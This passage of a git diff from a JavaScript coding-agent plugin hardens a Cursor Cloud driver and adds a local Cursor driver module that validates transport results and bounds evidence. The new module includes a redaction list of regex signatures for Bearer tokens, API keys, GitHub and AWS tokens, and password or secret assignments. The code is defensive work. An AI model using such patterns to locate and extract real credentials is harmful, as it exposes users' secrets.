+ } } export async function loadCursorSdk() { const { stdout } = await runFile('npm', ['root', '--global'], { encoding: 'utf8', timeout: PROVIDER_CALL_TIMEOUT_MS, + env: projectProviderEnvironment({ operation: 'sdk_probe', source: process.env }), }); const module = path.join(stdout.trim(), '@cursor', 'sdk', 'dist', 'esm', 'index.js'); try { return await import(pathToFileURL(module).href); } catch (error) { @@ -281,6 +298,7 @@ async function gitValue(cwd, args) { cwd, encoding: 'utf8', timeout: PROVIDER_CALL_TIMEOUT_MS, + env: GIT_INSPECT_ENV, }); return stdout.trim(); } @@ -617,6 +635,7 @@ function uncertainDispatchError(cause) { } function cloudCreateOptions(task, { apiKey, agentId, repoUrl, startingRef } = {}) { + const url = assertCredentialFreeRemote(repoUrl); return { apiKey, agentId, @@ -624,13 +643,17 @@ function cloudCreateOptions(task, { apiKey, agentId, repoUrl, startingRef } = {} name: task.id, mode: task.role === 'review' ? 'plan' : 'agent', cloud: { - repos: [{ url: repoUrl, startingRef }], + repos: [{ url, startingRef }], autoCreatePR: task.create_pr === true, metadata: { co_engineer_task: task.id }, }, }; } +export function rejectCursorCloudLocalMutation(operation) { + denyWorkerRemoteMutation(operation); +} + function assertExactRunIdentity(run, agentId, expectedRequestId) { if (!run || typeof run.id !== 'string' || run.id.length === 0 || typeof run.wait !== 'function') { fail('cursor_cloud_dispatch_uncertain', 'Cursor Cloud did not return a usable run handle.'); @@ -750,10 +773,76 @@ async function archiveAgent(client, agentId, key) { return true; } +async function attachCursorCloudResultSource(root, task, sources) { + const identity = cursorCloudResultSourceIdentityFromTaskV1(task); + if (identity == null) return task; + try { + const store = await openCursorCloudResultArtifactStoreV1(root); + const receipt = await materializeCursorCloudResultSourceV1(store, { + ...identity, + observed: sources.observed, + provider_report: sources.provider_report == null ? undefined : { + ...sources.provider_report, + // 3.2.1 result_* bounding is local clipping, never upstream truncation. + source_truncated: sources.provider_report.source_truncated === true, + }, + git_evidence: sources.git_evidence, + }); + return await updateTask(root, task.id, { cursor_cloud_result_source: receipt }); + } catch (error) { + if (isCursorCloudResultIdentityMismatchV1(error)) { + fail('cursor_run_identity_mismatch', 'Cursor Cloud returned a mismatched run, branch, or request identity at completion.'); + } + const evidence = contentFreeCloudResultSourceFailureV1(error); + try { + return await updateTask(root, task.id, { cursor_cloud_result_source: evidence }); + } catch { + return task; + } + } +} + +function assertTerminalResultSources(task, run, agentId, result) { + let sources; + try { + sources = projectCursorCloudResultSourcesV1(result); + const identity = cursorCloudResultSourceIdentityFromTaskV1(task); + const recorded = { + provider_run_id: run.id, + request_id: task.run_idempotency_key, + agent_id: agentId, + }; + // 3.2.1 receipts may carry untrusted SDK git.branches for redaction. Trusted + // Git/branch/base correlation is only applied when exact R1 identity exists. + if (identity != null) { + recorded.run_id = identity.run_id; + recorded.assignment_id = identity.assignment_id; + recorded.repository_url = identity.repository_url; + recorded.repository_identity = identity.repository_identity; + recorded.starting_sha = identity.starting_sha; + recorded.branch = identity.branch; + recorded.head_sha = identity.head_sha; + } + assertCursorCloudResultCorrelationV1({ + recorded, + observed: sources.observed, + git_evidence: identity == null ? null : sources.git_evidence, + }); + } catch (error) { + if (isCursorCloudResultIdentityMismatchV1(error) || error?.code === 'source_confusion_denied' || error?.code === 'malformed_result') { + fail('cursor_run_identity_mismatch', 'Cursor Cloud returned a mismatched or malformed run, branch, or request identity at completion.'); + } + throw error; + } + return sources; +} + async function persistTerminalRun({ root, taskId, client, key, prompt, agentId, run, result }) { if (result?.id !== undefined && result.id !== run.id) { fail('cursor_run_identity_mismatch', 'Cursor Cloud returned a different run identity at completion.'); } + const { task: current } = await readTask(root, taskId); + const sources = assertTerminalResultSources(current, run, agentId, result); const status = result.status === 'finished' ? 'completed' : result.status === 'cancelled' ? 'cancelled' : 'failed'; const providerSecrets = [key, prompt]; const sanitizedBranches = sanitizeProviderValue(result.git?.branches ?? [], providerSecrets); @@ -784,7 +873,7 @@ async function persistTerminalRun({ root, taskId, client, key, prompt, agentId, finished_at: new Date().toISOString(), }); await appendTaskEvent(root, taskId, { type: 'terminal', status, run_id: result.id }); - return terminal; + return attachCursorCloudResultSource(root, terminal, sources); } async function persistCancelledRun({ root, taskId, client, task, key, runId }) { diff --git a/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs new file mode 100644 index 0000000..46e17eb --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/cursor-local-driver.mjs @@ -0,0 +1,1240 @@ +// CursorLocalDriverV1 — local Cursor provider driver (P19 reconstruction). +// +// Additive v3 module. It binds the accepted P17 ProviderDriverV1 contract +// (four operations, exact ChildEnvelopeV1 proof, honest P05 capability +// declaration, process-local transitions) to an injected local session +// transport. It owns no provider transport of its own and claims none. +// +// Invariants enforced here, on top of the P17 validators this module calls +// as its single content-free quarantine: +// - exact provenance binding: provider `cursor-local`, the resolved +// model, repository path, run/assignment/lane identity, base sha, and +// child envelope digest must all be present and equal on every +// request; omitted fields are never derived and near-misses never +// substitute; +// - at most one spawn and at most one prompt dispatch per lane; the +// `dispatched` disposition requires the transport's authoritative +// acknowledgement; after a successful spawn launch never throws — a +// pre-send spawn failure stays `not_sent`, a pre-write send failure is +// `not_sent` only once a confirmed teardown proves no session survives, +// and every other post-spawn failure (missing or thrown +// acknowledgement included) is honest `dispatch_uncertain`; +// - same-session attention replies are attempt-once and bound to the +// exact session, question, and answer; an unsupported reply posture +// refuses explicitly without touching the transport; +// - cancel, reattach, reconcile, restart, the terminal latch, and +// already-terminal behavior preserve exact lane identity and never +// bind an uncorrelated session; +// - every host-visible progress/event/evidence leaf is bounded by UTF-8 +// bytes and redacted through one persistent per-lane window so secret, +// token, Bearer, API-key, envelope-digest, and prompt signatures +// cannot recombine across leaves, chunks, events, or reconciliations; +// - every error surface is closed and content-free: hostile names and +// values never appear in codes, paths, or messages, and every transport +// result must carry exactly its operation's closed key vocabulary; +// - managed local worktrees and run_base_sha only: no direct-mode +// widening, supervisor/registry/server cutover, durable store, or +// protected-ref mutation. Legacy 3.2.1 behavior and public receipts +// are untouched. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { timingSafeEqual as cryptoTimingSafeEqual } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedDefineProperty, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { IDENTITY_LABELS } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + validateDriverCancelRequestV1, + validateDriverCancelResultV1, + validateDriverDeclarationV1, + validateDriverLaunchRequestV1, + validateDriverLaunchResultV1, + validateDriverPreflightRequestV1, + validateDriverPreflightResultV1, + validateDriverReconcileRequestV1, + validateDriverReconcileResultV1, +} from './provider-driver.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + identityBoundDigest, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export { PROVIDER_DRIVER_VERSION }; + +export const CURSOR_LOCAL_DRIVER_SCHEMA_ID = 'codex-co-engineer.cursor-local-driver.v1'; +export const CURSOR_LOCAL_PROVIDER = 'cursor-local'; + +const STRING = String; +const IS_PROXY = utilTypes.isProxy; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const OBJECT_FREEZE = Object.freeze; + +export const CURSOR_LOCAL_OPTION_KEYS = capturedFreeze([ + 'declaration', 'model', 'run_base_sha', 'transport', 'workspace_root', +]); + +export const CURSOR_LOCAL_TRANSPORT_METHODS = capturedFreeze([ + 'availability', 'cancel', 'observe', 'reply', 'send', 'spawn', +]); + +// Closed allowed-key vocabularies for every transport result. A result +// carrying any key outside its operation's vocabulary is rejected before a +// single value is inspected, so hostile extra keys (and their names and +// values) can never reach an error surface or a host-visible field. +export const CURSOR_LOCAL_TRANSPORT_RESULT_KEYS = capturedFreeze({ + availability: capturedFreeze(['available']), + spawn: capturedFreeze(['binding_digest', 'session_id']), + send: capturedFreeze(['acknowledged', 'binding_digest', 'session_id']), + observe: capturedFreeze([ + 'binding_digest', 'events', 'progress_text', 'question', 'session_id', + 'status', + ]), + cancel: capturedFreeze(['binding_digest', 'outcome', 'session_id']), + reply: capturedFreeze(['answered', 'binding_digest', 'session_id']), +}); + +export const CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID = + 'codex-co-engineer.cursor-local-evidence-request.v1'; +export const CURSOR_LOCAL_EVIDENCE_SCHEMA_ID = 'codex-co-engineer.cursor-local-evidence.v1'; +export const CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID = + 'codex-co-engineer.cursor-local-reply.v1'; +export const CURSOR_LOCAL_REPLY_RESULT_SCHEMA_ID = + 'codex-co-engineer.cursor-local-reply-result.v1'; + +export const CURSOR_LOCAL_EVIDENCE_REQUEST_KEYS = capturedFreeze([ + 'child_envelope_digest', 'envelope_text', 'schema', 'version', +]); +export const CURSOR_LOCAL_REPLY_REQUEST_KEYS = capturedFreeze([ + 'answer_text', 'child_envelope_digest', 'envelope_text', 'question_id', + 'schema', 'session_id', 'version', +]); + +export const EVIDENCE_KINDS = capturedFreeze(['attention', 'event', 'progress']); +export const OBSERVE_STATUSES = capturedFreeze(['attention', 'completed', 'failed', 'running']); +export const CANCEL_OUTCOMES = capturedFreeze(['confirmed', 'requested']); + +// The only send failure that proves "nothing was written" is the explicit +// closed code below. Every other failure after a successful spawn is +// honestly reported as dispatch_uncertain instead of not_sent. +export const TRANSPORT_PRE_WRITE_FAILURE_CODE = 'pre_write_failure'; +export const TRANSPORT_FAILURE_CODES = capturedFreeze([TRANSPORT_PRE_WRITE_FAILURE_CODE]); + +export const MODEL_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,127}$/u; +export const SHA40_PATTERN = /^[0-9a-f]{40}$/u; +export const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const WORKSPACE_ROOT_PATTERN = /^\/[A-Za-z0-9._/-]*$/u; + +export const MAX_ANSWER_BYTES = 16 * 1024; +export const MAX_EVIDENCE_EVENTS = 64; +export const MAX_EVIDENCE_SEGMENT_BYTES = 8 * 1024; +export const MAX_LANE_EVIDENCE_BYTES = 64 * 1024; +export const REDACTION_CARRY_CHARS = 256; +export const REDACTION_SLICE_CHARS = 4096; + +export const REDACTED_MARKER = '[REDACTED]'; + +// Closed signature vocabulary. Matches are replaced wholesale inside the +// persistent carry window, so a signature split across chunks, leaves, +// events, or reconciliations recombines only inside the window and is then +// redacted before any host-visible byte exists. +const SIGNATURE_PATTERNS = capturedFreeze([ + /\bBearer\s+[A-Za-z0-9._~+/=-]+/giu, + /\bBasic\s+[A-Za-z0-9._~+/=-]+/giu, + /\b(?:sk|xai)-[A-Za-z0-9_-]{8,}\b/giu, + /\b(?:gh[pousr]|github_pat)_[A-Za-z0-9_-]{8,}\b/giu, + /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/giu, + /\bsha256:[0-9a-f]{64}\b/giu, + /\b[0-9a-f]{64}\b/giu, + /\b(?:api[_-]?key|authorization|access[_-]?token|refresh[_-]?token|bearer|token|password|secret|cookie|credential|private[_-]?key)(?:\s*[:=]\s*)\s*(?:"[^"]*"|'[^']*'|[^\s,;&'"]+)/giu, +]); + +function safeErrorCode(error) { + // Reading properties off a thrown value may itself throw or run caller + // code (getters, proxy traps). Only a plain own data property whose value + // is exactly one closed code is ever honored; everything else fails + // closed as post-spawn uncertainty. + if (error === null || (typeof error !== 'object' && typeof error !== 'function')) { + return undefined; + } + try { + const descriptor = capturedDescriptor(error, 'code'); + if (!descriptor || descriptor.get !== undefined || descriptor.set !== undefined) { + return undefined; + } + const value = descriptor.value; + return typeof value === 'string' && capturedIncludes(TRANSPORT_FAILURE_CODES, value) + ? value + : undefined; + } catch { + return undefined; + } +} + +function digestsEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + if (left.length !== right.length) return false; + try { + return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')); + } catch { + return false; + } +} + +function cutUtf8Bytes(text, maxBytes) { + if (maxBytes <= 0) return ''; + if (capturedUtf8ByteLength(text) <= maxBytes) return text; + const buffer = BUFFER_FROM(text, 'utf8'); + let cut = maxBytes; + while (cut > 0 && (buffer[cut] & 0xc0) === 0x80) cut -= 1; + return buffer.subarray(0, cut).toString('utf8'); +} + +function redactSignatures(text) { + let redacted = text; + for (let index = 0; index < SIGNATURE_PATTERNS.length; index += 1) { + redacted = redacted.replace(SIGNATURE_PATTERNS[index], REDACTED_MARKER); + } + return redacted; +} + +// Persistent per-lane redaction window. Pieces enter in order; a bounded +// tail is withheld until the next piece arrives, so signatures split +// across pieces recombine inside the window and are redacted there. The +// window stays open for the life of the lane (including across reconcile +// calls); it is flushed once, when the lane reaches its terminal latch. +function createRedactionWindow() { + let carry = ''; + let sealed = false; + return freezeData({ + push(piece) { + if (sealed || typeof piece !== 'string' || piece.length === 0) return ''; + const combined = carry + piece; + if (combined.length <= REDACTION_CARRY_CHARS) { + carry = combined; + return ''; + } + const emitLength = combined.length - REDACTION_CARRY_CHARS; + carry = combined.slice(emitLength); + return redactSignatures(combined.slice(0, emitLength)); + }, + flush() { + if (sealed) return ''; + sealed = true; + return carry.length === 0 ? '' : redactSignatures(carry); + }, + }); +} + +// Bounded evidence sink. All host-visible text funnels through the lane's +// redaction window first, then through UTF-8 byte bounds per segment and +// per lane. Overflow sets `truncated` and drops further input silently: +// bounding failures are never errors and never leak content. +function createEvidenceSink() { + const segments = []; + const state = { + current: '', + currentBytes: 0, + currentKind: undefined, + seq: 0, + totalBytes: 0, + truncated: false, + }; + function sealCurrent() { + if (state.currentKind === undefined) return; + capturedDefineProperty(segments, STRING(state.seq), { + value: freezeData({ + bytes: state.currentBytes, + kind: state.currentKind, + seq: state.seq, + text: state.current, + }), + enumerable: true, + configurable: false, + writable: false, + }); + segments.length = state.seq + 1; + state.seq += 1; + state.current = ''; + state.currentBytes = 0; + state.currentKind = undefined; + } + function ingest(text, kind) { + if (state.truncated || typeof text !== 'string' || text.length === 0) return; + let remaining = text; + while (remaining.length > 0) { + if (segments.length >= MAX_EVIDENCE_EVENTS + || state.totalBytes >= MAX_LANE_EVIDENCE_BYTES) { + state.truncated = true; + return; + } + if (state.currentKind !== undefined + && (state.currentKind !== kind || state.currentBytes >= MAX_EVIDENCE_SEGMENT_BYTES)) { + sealCurrent(); + continue; + } + const room = Math.min( + MAX_LANE_EVIDENCE_BYTES - state.totalBytes, + MAX_EVIDENCE_SEGMENT_BYTES - state.currentBytes, + ); + if (room <= 0) { + state.truncated = true; + return; + } + const piece = cutUtf8Bytes(remaining, room); + state.current += piece; + const pieceBytes = capturedUtf8ByteLength(piece); + state.currentBytes += pieceBytes; + state.totalBytes += pieceBytes; + if (state.currentKind === undefined) state.currentKind = kind; + remaining = remaining.slice(piece.length); + } + } + return freezeData({ + ingest, + drain() { + sealCurrent(); + return freezeData({ + events: freezeData([...segments]), + total_bytes: state.totalBytes, + truncated: state.truncated, + }); + }, + }); +} + +function requireExactString(source, key, path, pattern, code) { + const value = optOwn(source, key); + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + fail(code ?? 'invalid_format', `${path}.${key}`, + `${path}.${key} is missing or outside the closed grammar.`); + } + return value; +} + +function readTransportResult(result, path, allowedKeys) { + // One structural quarantine for every transport result: proxies, + // accessors, symbols, non-enumerables, exotic prototypes, sparse arrays, + // cycles, aliases, and unknown shapes are rejected without running any + // caller code, before a single field is read. The closed allowed-key + // vocabulary is enforced BEFORE the deep walk, so an extra key is + // rejected content-free no matter how hostile its name, shape, or value + // is; no descriptor of an out-of-vocabulary value is ever taken. + if (result === null || result === undefined) { + fail('invalid_transport_result', path, 'The transport returned no result object.'); + } + assertNotProxy(result, path); + assertPlainObject(result, 'invalid_transport_result', path, path); + for (const key of Object.keys(result)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('invalid_transport_result', path, + 'The transport result carries a key outside the closed schema.'); + } + } + assertDirectJsonClosure(result, path); + return result; +} + +function requireBindingEcho(result, expectedDigest, path) { + const echo = optOwn(result, 'binding_digest'); + if (typeof echo !== 'string' || !digestsEqual(echo, expectedDigest)) { + fail('uncorrelated_session', `${path}.binding_digest`, + 'The transport session did not echo the exact lane binding digest.'); + } + return echo; +} + +function requireSessionEcho(result, expectedSessionId, path) { + const echo = optOwn(result, 'session_id'); + if (typeof echo !== 'string' || echo !== expectedSessionId) { + fail('uncorrelated_session', `${path}.session_id`, + 'The transport session id does not match the exact spawned session.'); + } + return echo; +} + +function callTransport(transportMethods, methodName, argument) { + let produced; + try { + produced = transportMethods[methodName](argument); + } catch (error) { + return { ok: false, error }; + } + if (produced instanceof Promise || (produced !== null && typeof produced === 'object' + && typeof produced.then === 'function')) { + // The P19 surface is synchronous and process-local. A promise-returning + // transport would make dispatch certainty unobservable, so it is + // rejected before any await can hide an ambiguous send. + return { ok: false, error: new Error('transport returned a promise') }; + } + return { ok: true, value: produced }; +} + +function buildLaneBindingDigest(view, model) { + return identityBoundDigest(IDENTITY_LABELS.PROVIDER_RUN_IDENTITY, { + assignment_id: view.envelope.assignment_id, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: `sha256:${view.child_envelope_digest}`, + lane_index: view.envelope.lane_index, + model, + provider: CURSOR_LOCAL_PROVIDER, + repository_path: view.envelope.repository.path, + run_id: view.envelope.run_id, + }); +} + +function laneKeyFor(view) { + return `${view.envelope.run_id}\u0000${view.envelope.assignment_id}`; +} + +function assertAttentionQuestionShape(question, path) { + assertPlainObject(question, 'invalid_transport_result', path, path); + const keys = Object.keys(question).sort(); + if (keys.length !== 2 || keys[0] !== 'question_id' || keys[1] !== 'question_text') { + fail('invalid_transport_result', path, + 'An attention question must carry exactly question_id and question_text.'); + } + requireExactString(question, 'question_id', path, QUESTION_ID_PATTERN, + 'invalid_transport_result'); + const text = optOwn(question, 'question_text'); + if (typeof text !== 'string' || text.length === 0) { + fail('invalid_transport_result', `${path}.question_text`, + 'An attention question must carry non-empty question text.'); + } +} + +export function describeCursorLocalDriverV1() { + return capturedFreeze({ + schema: CURSOR_LOCAL_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + provider: CURSOR_LOCAL_PROVIDER, + operations: capturedFreeze(['preflight', 'launch', 'reconcile', 'cancel']), + transports: capturedFreeze([]), + transport_methods: CURSOR_LOCAL_TRANSPORT_METHODS, + transport_mode: 'injected_local_session_seam', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + replay_posture: 'never_replay', + relaunch_operations: capturedFreeze([]), + direct_mode: capturedFreeze([]), + durable_store: false, + bounds: freezeData({ + max_answer_bytes: MAX_ANSWER_BYTES, + max_evidence_events: MAX_EVIDENCE_EVENTS, + max_evidence_segment_bytes: MAX_EVIDENCE_SEGMENT_BYTES, + max_lane_evidence_bytes: MAX_LANE_EVIDENCE_BYTES, + }), + evidence_kinds: EVIDENCE_KINDS, + observe_statuses: OBSERVE_STATUSES, + cancel_outcomes: CANCEL_OUTCOMES, + }); +} + +function quarantineControlRequest(request, allowedKeys, schemaId, path) { + if (request === null || request === undefined) { + fail('invalid_type', path, `${path} must be a plain request object.`); + } + assertNotProxy(request, path); + assertPlainObject(request, 'invalid_type', path, path); + // Extra keys are rejected BEFORE the deep closure walk: an unknown key is + // refused content-free (fixed code, fixed path, fixed message), so a + // hostile key name never enters an error surface and no descriptor, + // getter, or proxy trap of its value is ever touched. + for (const key of Object.keys(request)) { + if (!capturedIncludes(allowedKeys, key)) { + fail('unknown_key', path, `${path} carries a key outside the closed schema.`); + } + } + assertDirectJsonClosure(request, path); + for (const key of allowedKeys) { + if (!hasOwn(request, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required; nothing is derived.`); + } + } + if (optOwn(request, 'schema') !== schemaId) { + fail('schema_mismatch', `${path}.schema`, `${path}.schema must be exactly "${schemaId}".`); + } + if (optOwn(request, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + return request; +} + +function resolveControlLane(request, lanes, options, path) { + const parsed = parseChildEnvelopeV1(optOwn(request, 'envelope_text')); + const digest = requireExactString(request, 'child_envelope_digest', path, /^[0-9a-f]{64}$/u); + const key = `${parsed.run_id}\u0000${parsed.assignment_id}`; + const lane = lanes.get(key); + if (lane === undefined || !digestsEqual(lane.childEnvelopeDigest, digest)) { + fail('unknown_lane', `${path}.child_envelope_digest`, + 'No live lane is bound to this exact child envelope digest.'); + } + if (parsed.repository.base_sha !== options.runBaseSha + || parsed.execution.provider !== CURSOR_LOCAL_PROVIDER + || parsed.execution.model !== options.model) { + fail('stale_identity_denied', `${path}.envelope_text`, + 'The request envelope does not match the exact bound lane identity.'); + } + return lane; +} + +function assertProvenanceBound(view, options, path) { + const execution = view.envelope.execution; + if (execution.provider !== CURSOR_LOCAL_PROVIDER) { + fail('provider_slot_mismatch', `${path}.envelope_text`, + `The cursor-local driver binds only exact "${CURSOR_LOCAL_PROVIDER}" envelopes; ` + + 'unresolved or foreign provider slots are refused.'); + } + if (typeof execution.model !== 'string' || execution.model.length === 0) { + fail('model_unresolved', `${path}.envelope_text`, + 'The envelope carries no exact model; omitted models are never derived.'); + } + if (execution.model !== options.model) { + fail('model_substitution_denied', `${path}.envelope_text`, + 'The envelope model does not equal the exact bound model; substitution is denied.'); + } + if (view.envelope.repository.base_sha !== options.runBaseSha) { + fail('base_sha_substitution_denied', `${path}.envelope_text`, + 'The envelope base sha does not equal the exact run base sha; retargeting is denied.'); + } +} + +function requireFeature(declaration, feature, path) { + if (declaration.features[feature] === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback.`); + } +} + +const DETAIL_MESSAGES = freezeData({ + dispatch_not_written: freezeData({ + detail_code: 'dispatch_not_written', + detail_message: 'The transport guaranteed that no prompt bytes were written and ' + + 'confirmed the session teardown; nothing reached the provider.', + }), + spawn_unavailable: freezeData({ + detail_code: 'spawn_unavailable', + detail_message: 'The cursor-local session could not be spawned; no prompt was dispatched.', + }), + transport_unavailable: freezeData({ + detail_code: 'transport_unavailable', + detail_message: 'The cursor-local transport reported no availability for this host.', + }), +}); + +const DETAIL_FOR = freezeData({ + launch_not_sent_spawn: DETAIL_MESSAGES.spawn_unavailable, + launch_not_sent_prewrite: DETAIL_MESSAGES.dispatch_not_written, + preflight_blocked: DETAIL_MESSAGES.transport_unavailable, +}); + +export function createCursorLocalDriverV1(options) { + const path = 'cursor_local_driver.options'; + if (options === null || options === undefined) { + fail('invalid_type', path, 'Driver options are required; nothing is defaulted.'); + } + + // Single content-free structural quarantine over the options. The JSON + // leaves are closed directly; the transport is validated separately as a + // plain concrete-method object so its functions never enter the JSON + // closure. Neither pass ever invokes caller code. + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + let optionOwnKeys; + try { + optionOwnKeys = capturedOwnKeys(options); + } catch { + fail('invalid_type', path, 'Option keys could not be inspected safely.'); + } + for (const key of optionOwnKeys) { + if (typeof key === 'symbol') { + fail('symbol_key_denied', `${path}[symbol]`, + `${path} carries a symbol-keyed property; options are direct data only.`); + } + } + // Hostile property NAMES never appear in codes, paths, or messages: the + // closed templates below carry no caller-derived text at all. + for (const key of optionOwnKeys) { + const descriptor = capturedDescriptor(options, key); + if (!descriptor || !descriptor.enumerable) { + fail('non_enumerable_property_denied', path, + `${path} carries a non-enumerable own property; options are plain data.`); + } + } + for (const key of Object.keys(options)) { + if (!capturedIncludes(CURSOR_LOCAL_OPTION_KEYS, key)) { + fail('unknown_key', path, `${path} carries a key outside the closed option set.`); + } + } + for (const key of ['declaration', 'model', 'run_base_sha', 'transport']) { + if (!hasOwn(options, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + for (const key of ['declaration', 'model', 'run_base_sha', 'workspace_root']) { + if (hasOwn(options, key)) assertDirectJsonClosure(ownDataValue(options, key, `${path}.${key}`), `${path}.${key}`); + } + + const declaration = validateDriverDeclarationV1(optOwn(options, 'declaration')); + if (declaration.capability.provider !== CURSOR_LOCAL_PROVIDER) { + fail('provider_mismatch', `${path}.declaration.capability.provider`, + `The cursor-local driver requires the exact "${CURSOR_LOCAL_PROVIDER}" capability slot.`); + } + if (declaration.capability.workspace_semantics !== 'local_managed_worktree' + || declaration.capability.workspace_starting_point !== 'run_base_sha') { + fail('capability_workspace_mismatch', `${path}.declaration.capability`, + 'Only managed local worktrees started from the run base sha are in scope.'); + } + if (declaration.capability.replay_posture !== 'never_replay') { + fail('invalid_replay_posture', `${path}.declaration.capability.replay_posture`, + 'The cursor-local driver never replays a dispatched prompt.'); + } + if (!capturedIncludes(['confirmed_launch', 'uncertain_after_spawn'], + declaration.capability.dispatch_certainty)) { + fail('capability_dispatch_certainty_mismatch', + `${path}.declaration.capability.dispatch_certainty`, + 'Dispatch certainty must name a closed P05 posture.'); + } + if (!capturedIncludes(['live_session_reply', 'unsupported_unresolved_attention'], + declaration.capability.same_session_reply)) { + fail('capability_reply_mismatch', `${path}.declaration.capability.same_session_reply`, + 'Same-session reply must name a closed P05 posture.'); + } + + const model = requireExactString(options, 'model', path, MODEL_ID_PATTERN, 'invalid_model'); + const runBaseSha = requireExactString(options, 'run_base_sha', path, SHA40_PATTERN, + 'invalid_run_base_sha'); + const workspaceRoot = hasOwn(options, 'workspace_root') + ? requireExactString(options, 'workspace_root', path, WORKSPACE_ROOT_PATTERN, + 'invalid_workspace_root') + : undefined; + + const transportPath = `${path}.transport`; + const transportInput = optOwn(options, 'transport'); + if (transportInput !== null && (typeof transportInput === 'object' + || typeof transportInput === 'function') && IS_PROXY(transportInput)) { + fail('proxy_denied', transportPath, + 'The transport is a live or revoked Proxy; concrete method objects only.'); + } + if (transportInput === null || typeof transportInput !== 'object' + || capturedIsArray(transportInput)) { + fail('invalid_type', transportPath, 'The transport must be a plain object of methods.'); + } + let transportPrototype; + try { + transportPrototype = Object.getPrototypeOf(transportInput); + } catch { + fail('exotic_prototype_denied', transportPath, 'The transport prototype rejected inspection.'); + } + if (transportPrototype !== Object.prototype && transportPrototype !== null) { + fail('exotic_prototype_denied', transportPath, + 'The transport must use the standard or null prototype.'); + } + const transportKeys = Object.keys(transportInput).sort(); + const expectedKeys = [...CURSOR_LOCAL_TRANSPORT_METHODS].sort(); + if (transportKeys.length !== expectedKeys.length + || transportKeys.some((key, index) => key !== expectedKeys[index])) { + fail('invalid_surface', transportPath, + `The transport must expose exactly ${capturedJoin(CURSOR_LOCAL_TRANSPORT_METHODS, ', ')}.`); + } + const transportMethods = {}; + for (const method of CURSOR_LOCAL_TRANSPORT_METHODS) { + const descriptor = Object.getOwnPropertyDescriptor(transportInput, method); + if (!descriptor || !descriptor.enumerable || descriptor.get !== undefined + || descriptor.set !== undefined || typeof descriptor.value !== 'function' + || IS_PROXY(descriptor.value)) { + fail('invalid_operation', `${transportPath}.${method}`, + `Transport ${method} must be a plain concrete function.`); + } + transportMethods[method] = descriptor.value; + } + + // Detached, fully validated configuration. No live caller object is kept: + // nothing can mutate a validated value back into an unvalidated one. + const config = freezeData({ model, runBaseSha, workspaceRoot }); + + const lanes = new Map(); + + function laneFromView(view) { + const key = laneKeyFor(view); + const digestHex = view.child_envelope_digest; + const existing = lanes.get(key); + if (existing !== undefined && !digestsEqual(existing.childEnvelopeDigest, digestHex)) { + fail('stale_identity_denied', 'driver.request.child_envelope_digest', + 'The request envelope digest does not match the exact child previously bound to this lane.'); + } + if (existing !== undefined) return existing; + const lane = { + assignmentId: view.envelope.assignment_id, + bindingDigest: buildLaneBindingDigest(view, model), + childEnvelopeDigest: digestHex, + evidence: null, + laneIndex: view.envelope.lane_index, + phase: { + acked: false, + replyAttempts: 0, + replyOutcome: undefined, + sendAttempted: false, + sendUncertain: false, + spawned: false, + sessionId: undefined, + }, + question: undefined, + repositoryPath: view.envelope.repository.path, + runId: view.envelope.run_id, + state: 'absent', + terminalReason: undefined, + window: createRedactionWindow(), + }; + lanes.set(key, lane); + return lane; + } + + function ensureEvidenceSink(lane) { + if (lane.evidence === null) lane.evidence = createEvidenceSink(); + return lane.evidence; + } + + function ingestVisibleText(lane, sink, text, kind) { + let pending = typeof text === 'string' ? text : ''; + while (pending.length > 0) { + let head = pending.slice(0, REDACTION_SLICE_CHARS); + // Never split a UTF-16 surrogate pair at the slice boundary: the + // redaction window must see whole characters or its emitted bytes + // could disagree with the bounded byte accounting. + if (head.length === REDACTION_SLICE_CHARS) { + const last = head.charCodeAt(head.length - 1); + if (last >= 0xd800 && last <= 0xdbff) head = head.slice(0, -1); + } + pending = pending.slice(head.length); + const emitted = lane.window.push(head); + if (emitted.length > 0) sink.ingest(emitted, kind); + } + } + + function flushLaneWindow(lane) { + if (lane.evidence === null && lane.windowFlushed) return; + lane.windowFlushed = true; + const emitted = lane.window.flush(); + if (emitted.length > 0) { + const sink = ensureEvidenceSink(lane); + sink.ingest(emitted, 'event'); + } + } + + function receiptFor(operation, view, disposition, detail) { + const receipt = { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: view.envelope.run_id, + assignment_id: 